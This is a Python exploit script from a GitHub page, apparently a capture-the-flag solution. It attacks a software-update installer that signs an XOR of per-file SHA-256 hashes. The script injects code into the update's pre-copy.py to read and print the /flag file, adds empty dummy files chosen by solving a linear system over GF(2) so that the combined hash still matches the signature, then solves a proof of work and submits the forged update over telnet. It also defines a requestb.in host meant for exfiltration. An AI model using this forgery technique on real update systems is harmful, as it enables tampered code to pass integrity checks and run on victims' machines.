Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
162 lines (121 sloc) 4.25 KB
#!/usr/bin/python3
import glob
import os.path
import hashlib
import tempfile
from installer import public_key_path, signature_filename, unpack, zip_filename, xor
from pow import solve_proof_of_work
from signer import zip_dir
from sage.all import *
import shutil
import telnetlib
import base64
import time
import re
HOST = 'localhost'
PORT = 2023
output_to_host = 'requestb.in'
output_to_path = '104r1yf1'
flag_path = "/flag"
def solve_proof_of_work_on_socket(s):
challenge = read_until(s, "Your response? ")
regex = re.compile(b"Proof of work challenge: ([0-9_a-zA-Z]+)")
challenge = regex.search(challenge).group(1)
solution = solve_proof_of_work(challenge)
s.sendall(str(solution).encode() + b"\n")
time.sleep(1)
def read_until(socket, expected):
buf = b""
while not expected in buf:
received = socket.recv(1)
if received == b'': raise ValueError("can't read data on socket")
buf += received
return buf
def compute_file_hash(complete_path, relative_path):
if os.path.isfile(complete_path):
with open(complete_path, "rb") as f:
h = hashlib.sha256(relative_path.encode('ASCII'))
h.update(b"\0")
h.update(f.read())
elif os.path.isdir(complete_path):
relative_path += "/"
h = hashlib.sha256(relative_path.encode('ASCII') + b"\0")
else:
pass
return h.digest()
def mimic_file_hash(relative_path, content):
h = hashlib.sha256(relative_path.encode('ASCII'))
h.update(b"\0")
h.update(content)
return h.digest()
def compute_hashes(directory):
files = glob.glob(directory + "/**", recursive=True)
files.sort()
files.remove(directory + "/")
result = dict()
for filename in files:
complete_path = filename
relative_path = os.path.relpath(filename, directory)
result[relative_path] = compute_file_hash(complete_path, relative_path)
return result
def hash2bin(hash):
result = []
for b in hash:
for j in range(8):
result.append((ord(b) >> j) & 1)
#print("{:x}, {}: {}".format(ord(b), j, (ord(b) >> j) & 1))
return result
def create_fake_zip_file(real_zip_file, out_zip_file):
try:
d = tempfile.mkdtemp(prefix='h4xx_')
print("unpacking to {}".format(d))
unpack(real_zip_file, d)
# save the real hash of the pre-copy.py
real_hash = compute_file_hash(d + "/signed_data/pre-copy.py", "pre-copy.py")
# patch the pre-copy.py
with open(d + "/signed_data/pre-copy.py", "r+") as f:
content = f.read()
f.seek(0)
f.write("""#!/usr/bin/python3
content = open('{}', 'r').read()
print(content)\n\n""".format(
flag_path, output_to_host, output_to_path))
f.write(content)
# get the modified hash value of the pre-copy.py
new_hash = compute_file_hash(d + "/signed_data/pre-copy.py", "pre-copy.py")
# compute hashes for some (not-yet) existent files
optional_hashes = list()
for i in range(300):
filename = str(i)+".txt"
optional_hashes.append(mimic_file_hash(filename, b""))
# convert the hashes to binary
M = matrix(GF(2), 300, 256, map(hash2bin, optional_hashes))
M = M.transpose()
rhs = xor(map(ord, real_hash), map(ord, new_hash))
rhs = map(chr, rhs)
rhs = hash2bin(rhs)
rhs = vector(rhs)
solution = M.solve_right(rhs)
#print("Solution for Mx = b:")
#print(solution)
for i, b in enumerate(solution):
if b == 1:
with open(d + "/signed_data/"+str(i) + ".txt", "wb"):
pass
# re-pack
out_path = zip_dir(d, out_zip_file, False)
return out_path
finally:
shutil.rmtree(d)
def exploit(host, port, zip_file):
haxxed_zip_file = create_fake_zip_file(zip_file, 'haxxed_zip_file.zip')
#haxxed_zip_file = "../sw_update.zip"
with open(haxxed_zip_file, "rb") as f:
content = f.read()
content = base64.b64encode(content)
t = telnetlib.Telnet(host, port)
solve_proof_of_work_on_socket(t.sock)
t.write(content + "\n")
t.interact()
if __name__ == "__main__":
exploit(HOST, PORT, '../' + zip_filename)
You can’t perform that action at this time.